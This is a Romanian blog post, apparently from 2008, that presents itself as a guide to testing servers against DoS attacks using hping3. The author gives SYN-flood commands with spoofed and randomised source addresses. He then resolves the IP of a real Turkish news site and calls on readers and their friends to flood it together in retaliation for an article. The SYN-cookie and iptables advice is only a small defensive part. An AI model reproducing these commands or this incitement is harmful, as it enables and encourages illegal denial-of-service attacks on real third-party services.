Cum sa testezi un server impotriva atacurilor DOS, si cum sa te protejezi impotriva acestor atacuri

Dupa cum probabil ca stiti, exista un fel de atacuri, care secheama DOS (Denial of Service Attack). Ele se manifesta prin faptul ca atacatorul provoaca consum puternic de resurse la computerul atacat. Cel mai frecvent, e vorba de consum de banda. Imaginati-va ca aveti un server pe care sta site-ul vostru. Si viteza de upload este relativ mica, dar va ajunge pentru cele cateva mii de vizitatori pe zi. Acum un om cu intentii rele se apuca, si de la un computer cu o viteza mai mare incepe sa abuzeze computerul vostru, sa ceara informatie de la el la o viteza mult mai mare decat puteti oferi. Ce se va intampla? Toata banda voastra va fi ocupata de solicitarile omului cu intentii rele, iar cei cativa mii de vizitatori nici nu vor putea deschide site-ul vostru. Iata asta se cheama atac DoS. Daca atacul vine de la mai multe computere in acelasi timp, atacul se cheama DDoS (Distributed Denial of Service).
Acum tehnicile de atac au devenit mai sofisticate si mai destepte, astfel incat un server super puternic poate fi doborat de un om cu legatura prin dial-up (adica,

prin telefon simplu). Eu nu voi exlica in detaliu cum se fac aceste atacuri sofisticate, dar voi da un exemplu, mai spre sfarsit.
Am gasit pe internet, cica, cum sa faci atacuri DoS, asa niste sfaturi incat aproape am ras. E vorba de comanda ping, pe care o lansezi din zece command prompt-uri in Windows, si astepti… dividende probabil. Am incercat aceasta metoda, dar e atat de ineficienta!!! Este ca si cum ai incerca cu cursorul-ul sa omori o musca de pe ecran.
Cel mai simplu pentru un administrator este sa blocheze cererile prin protocolul icmp (prin care lucreaza ping-ul), fara sa afecteze celalalt tip de trafic.
asta se face prin comanda:
# iptables -A INPUT -p icmp -o eth0 -j DROP
Am citit nu demult despre asa o strategie de DoS – intr-o retea, cineva trimite pachete la broadcast, falsificand adresa de IP a victimei, va primi pachete inapoi de la toate computerele din retea. Ceea ce poate sa amplifice de sute de ori puterea atacului. Dar cum se poate de falsificat ip-ul de la care vine un pachet? Si cum se poate de trimis un pachet altul decat icmp?
Azi mi-am instalat un program, se cheama hping3. Site-ul este acesta http://www.hping.org . Acesta este un instrument de pinguit atat de puternic, cu atatea setari posibile, incat imi place aproape la fel de mult ca nmap-ul.
Cine foloseste Linux, il poate instala din repozitorii, asa cum am facut eu.
Care-i diferenta intre hping3 si ping? Sunt multe diferente, eu voi vorbi doar despre cateva:
1. Poti sa selectezi intensitatea pinguirii. Este ceva de genul fast, faster si flood, ultimul fiind cel mai puternic, si folosind toata banda.
2. Poti specifica tipul de pachete – in primul rand protocolol – tcp, udp si icmp, apoi diferite pachete de tip Syn, Ack, Fin (cine vrea sa inteleaga la ce se refera ceea ce spun, sa intre aici http://iptables-tutorial.frozentux.net/iptables-tutorial.html#TCPCHARACTERISTICS)
3. Poti falsifica adresa ta, astfel ca daca ii trimiti cuiva pachete Syn, el va incerca sa trimita SYN/ACK sau SYN/RST la adresa din headerele pachetelor, care poate fi orice adresa doresti tu, chiar una inexistenta. Astfel, este imposibil sa fii identificat. Daca vi-i lene sa specificati o adresa, puteti pune ca ea sa fie aleatorie, si atunci fiecare pachet va avea o adresa diferita din tot internetul practic. Asta pe langa faptul ca va ascunde identitatea, e o masura buna prin faptul ca nu veti primi ca un bumerang pachete de raspuns inapoi.
4. Multe multe alte imbunatatiri. Va recomand sa citi paginile de manual din sistemul vostru, prin comanda „man hping3”.

Cum se executa un flood? Ne uitam pe Wikipedia: http://en.wikipedia.org/wiki/SYN_flood . Asta este ceea ce dorim noi sa testam – un SYN flood. Dupa cum am explicat si mai sus, ideea este ca noi trimitem pachete de tip SYN (cred ca vine de la synchronize), pachete cu care se incep orice tranzactii tcp. In functie daca victima accepta sau refuza inceapa vreo tranzactie, va trimite inapoi (sau la adresa falsa) pachete de tip SYN/ACK (cred ca syncronize acknowledge) sau SYN/RST (credca asta inseamna synchronize reset). Dar computerul care sta in spatele adresei pe care noi o vom falsifica, va primi aceste pachete, si nu va intelege nimic, pentru ca el nu a trimis nici un pachet SYN ca sa primeasca raspuns. Asta ca si cum cineva ti-ar spune pe strada: Buna sa-ti fie inima! Ori ti-ar zice deodata: Cu placere! Te vei gandi ca-i aiurit, odata ce tu nu i-ai spus nimic de genul Buna Ziua, si nici Multumesc.
Sa zicem ca vrem sa testam un server de-al nostru, cu ip-ul 232.35.237.87, care este web server (adica pe el sta un site de-al nostru). Folosim comanda:

# hping3 -a un.ip.fals -S -p 80 –flood 232.35.237.87 &

Si apasam Enter.
Explic ce inseamna:
-a – asta spune adresa pe care vrem sa o folosim in pachete ca fiind sursa. Cu alte cuvinte, punem aici o adresa falsificata.
-S – ii spune programului sa trimita pachete de tip SYN.
-p 80 – pachetele vor fi trimise pe portul 80 (portul http).
–flood – pachetele vor fi trimise la viteza maxima.
Eu cand am incercat, prin optiunea –flood programul a trimis 12 milioane de pachete in cateva minute.

In loc de o adresa falsificata, putem folosi optiunea –rand-source, astfel, comanda va fi in forma urmatoare:

# hping3 –rand-source -S 232.35.237.87 -p 80 –flood &

Aceasta comanda va pune in headerele pachetelor trimise surse aleatorii, din tot internetul.
Eu am testat aceasta comanda pe unul din serverele de care raspund doar.

Ce pot sa spun… In lumea hackerilor, atacurile DoS sunt cel mai putin respectate, pentru ca nu este nevoie de mare inteligenta pentru a le efectua. Totusi, ele sunt ca si automatul kalashnikov – simple de folosit, ieftine si eficiente. Oricine le poate face, dar nu oricine se poate proteja de ele.

Cum am putea folosi aceste tehnici in scopuri nobile?
http://www.haberturk.com/haber.asp?id=44453&cat=200&dt=2007/11/16 Aici este un articol in limba turca, despre faptul ca Moldova este un bordel pentru rapanosii turci. Se mai dau sfaturi, pentru acesti rapanosi, ca noaptea sa fie atenti unde tin banii, pentru ca fetele cica iau cate 300 dolari pe noapte, dar daca nu esti atent poti sa te trezesti fara bani si documente, iar politia nici nu te ajuta in asemenea situatii (cumde oare? Asta-i discriminare, ca politistii sa nu se implice in asemenea cazuri, e xenofobie adevarata!). Iata traducerea in romana: http://www.unimedia.md/index.php?mod=home&hmod=newsbyid&id=2717
Sa fie clar ca eu nu am nimic impotriva poporului turc, cin doar impotriva persoanelor care se comporta asa cum este descris in articol, si impotriva ziaristilor care isi permit sa scrie asemenea marsavenii (abuzeaza de libertatea cuvantului).
Deschidem un terminal, si vedem ce ip are site-ul turcesc:

# host http://www.haberturk.com
http://www.haberturk.com has address 213.74.20.117

Asta este aproape de ajuns. Sa zicem ca ati instalat deja hping3, ori din repozitorii ori din surse. Acum intram sub root:
# su
sau in Ubuntu:
# sudo su
Scriem parola, si urmatorul pas este sa pornim floodul:

# hping3 –rand-source -S 213.74.20.117 -p 80 –flood

Daca credeti ca singuri nu veti aduce daune mari, implicati-va prietenii. Trimiteti-le link la aceasta pagina, sa se documenteze, si sa porneasca si ei flood-ul, la aceeasi destinatie. Iar ei sa sune pe prietenii lor. Important este sa fie lucru de echipa, si in acelasi timp. Si ar fi bine sa fie in timpul zilei, caci seara ei si asa nu au vizite. Daca va trebuie si voua banda, puteti sa limitati intensitatea, folosind in loc de –flood sintagma –faster, iar daca vreti sa trimiteti doar 10 pachete pe secunda, folositi sintagma –fast in loc de ele. Astfel, comanda va fi:

# hping3 --rand-source -S 213.74.20.117 -p 80 --faster

sau

# hping3 --rand-source -S 213.74.20.117 -p 80 --fast

Acest tip de atacuri sunt foarte greu de detectat, si-i greu de luat contramasuri. Contramasurile se iau la nivel de ISP (provider de internet), daca cumpara routere destepte, care sa nu primeasca din afara pachete identificate ca fiind de dinauntru, si sa nu dea voie in afara pachete identificate ca provenind din afara. Si e foarte greu sa prinda flooderii, cred ca ar putea doar daca ar opri pe rand internetul la un sector, si apoi la alt sector, sa vada daca cu asta se reduce cumva flood-ul, iar apoi, in sectorul identificat, sa intrerupa la o parte din utilizatori iarasi, si asa mai departe pana ramane la unul singur. Nu cred sa se ajunga la asta, iar daca sunt macar vreo zece baieti din diferite colturi ale orasului sa efectueze acelasi lucru, atunci este practic imposibil sa identifici ceva.
Daca aveti noroc, pagina dusmanilor va fi nedisponibila pe o perioada, iar dusmanii vor avea timp sa se gandeasca cu ce oare au gresit.

Iata asa. Ah, era sa uit. Daca va intrebati de unde puteti downloada un linux bun, recomand Kiwi Linux pentru incepatori. Iata link http://kiwilinux.org/ . Dupa ce-l downloadati si instalati, lansati un terminal, scrieti:
sudo apt-get update
apasati Enter, scrieti parola, dupa care scrieti:
sudo apt-get install hping3
iarasi apasati Enter, dupa care scrieti mai departe:
sudo su
si mai departe, comanda de mai sus. Bafta.

ps. Vad ca wordpress-ul imi pune in loc de doua linii o linie lunga. Stie cineva cum sa fac ca textul sa nu fie formatat? Am in vedere, acolo unde spun de –rand-source, sunt de fapt doua linii inainte, dar wordpress-ul le uneste. La fel si in fata la –flood, si –fast si –faster.

UPDATE: Acum inteleg si efectul SYN FLOOD-ului: partea atacata pastreaza in cache pachetele, si asteapta raspuns la pachetele trimise de ea, iar cand se umple cache-ul, incepe sa opreasca conectiunile legitime. E foarte puternica tehnica de atac, si vorba rusului: „protiv loma net prijoma”. Pentru a evita ca conectiunile legitime sa fie aruncate din aceasta cauza, sysadminii trebuie sa activeze syn cookies, iata specificarea lor – http://cr.yp.to/syncookies.html (dar numai pe timpul atacului). Era un patch pentru kernel-ul linux, mai vechisor, care facea ca atunci cand cache-ul devine plin, sa se activeze automat cookie-s.
Pentru a activa syncookie-urile, executati comanda:
# echo 1 > /proc/sys/net/ipv4/tcp_syncookies
si editati /etc/sysctl.conf, adica, decomentati linia
#net.ipv4.tcp_syncookies = 1
astfel ca ea sa arate asa:
net.ipv4.tcp_syncookies = 1
si reporniti reteaua (in Debian, Ubuntu…):
# /etc/init.d/networking restart

2 Comments

  1. marian ionescu
    Posted 10 decembrie, 2008 at 10:05 pm | Permalink | Răspunde

    Buna ziua!
    Pentru a realiza testarea de mai sus este nevoie in mod special de Linux sau e posibil si cu XP. Merci mult!

    • Badan Sergiu
      Posted 11 decembrie, 2008 at 5:42 am | Permalink | Răspunde

      pentru Windows sunt disponibile sursele, si cred ca si executabilele pentru hping2, care-i putin mai slab, dar oricum este un instrument puternic. Probabil, prin cygwin http://www.cygwin.com/ ai putea rula si hping3, eu nu am incercat niciodata.

One Trackback

  1. By cum se pacaleste kaspersky firewall « Badan Blog on 6 decembrie, 2008 at 4:15 pm

    […] post info By Badan Sergiu Categories: hacker, high tech, internet şi linux Tags: atac, firewall, hping3, kaspersky, kis, nmap Saptamana asta m-am apucat sa testez securitatea unor calculatoare impotriva atacurilor SYN Flood, despre care am vorbit aici. […]

Lasă un răspuns

Completează mai jos detaliile tale sau dă clic pe un icon pentru a te autentifica:

Logo WordPress.com

Comentezi folosind contul tău WordPress.com. Dezautentificare /  Schimbă )

Fotografie Google

Comentezi folosind contul tău Google. Dezautentificare /  Schimbă )

Poză Twitter

Comentezi folosind contul tău Twitter. Dezautentificare /  Schimbă )

Fotografie Facebook

Comentezi folosind contul tău Facebook. Dezautentificare /  Schimbă )

Conectare la %s

%d blogeri au apreciat asta: